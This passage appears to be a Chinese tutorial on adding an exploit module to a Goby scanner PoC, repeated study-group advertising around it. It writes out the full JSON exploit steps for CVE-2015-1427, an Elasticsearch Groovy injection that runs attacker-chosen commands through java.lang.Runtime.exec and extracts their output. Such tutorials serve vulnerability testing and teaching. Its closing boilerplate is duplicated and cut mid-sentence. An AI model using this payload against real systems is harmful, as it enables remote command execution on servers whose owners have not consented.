网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
制作Exp需要开启图形中的验证接口,你会好奇上图所示的“验证”为什么我没有,需要去手动编辑Exp模块了。
编辑器中可以看到你的PoC的json文件,默认的HasExp值为false,开启改true即可,ExpParams则是前端需要传递给 Exp 的参数,如要执行的命令。
以CVE-2015-1427为例需要自定义命令,一个输入参数,需要将ExpParams改为:
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "whoami"
}
]
不解释上述json了直接感受一下效果:
现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/website/blog/",
"follow\_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "\*/\*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/x-www-form-urlencoded"
},
"data\_type": "text",
"data": "{ \"name\": \"cve-2015-1427\" }"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody"
]
},
{
"Request": {
"method": "POST",
"uri": "/\_search?pretty",
"follow\_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "\*/\*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/text"
},
"data\_type": "text",
"data": "{\"size\":1, \"script\_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "460f7ccb583e25e09c0fe100a2c9e90d",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.\*)\" \\]"
]
}
]
可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:
"ExploitSteps": [
"AND",
{
"Request": {xxxxxx},
"ResponseTest": {xxxxxx},
"SetVariable": [xxxxxx]
},
{
"Request": {xxxxxx},
"ResponseTest": {xxxxxx},
"SetVariable": [xxxxxx]
}
]
到这里应该都指知道Requests用来发包,ResponseTest用来判断是否满足判断SetVariable则会在“验证”功能中回显Body。
我在看官方提供的Exp demo中发现TP的RCE去掉了ResponseTest,我也跟着试,结果只发送第一个Requests不发第二个,后续找@go0p发现是去掉了ResponseTest的锅。
最后控制一下RCE的回显,TP的demo中SetVariable写的是:
"SetVariable": [
"output|lastbody"
]
这里的效果就是显示整个Body。
看起来比较凌乱,不过SetVariable中也有过滤可用,例如regex去正则。
"SetVariable": [
"output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.\*)\" \\]"
]
到这里一个带Exp的PoC就制作好了,如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了,找你的wireshark好帮手,慢慢测慢慢排,最终完整的PoC一定出的来。
上述的PoC完整例子在:https://github.com/zhzyker/Goby-PoC
0x003 总结
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
,那么很难做到真正的技术提升。**
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!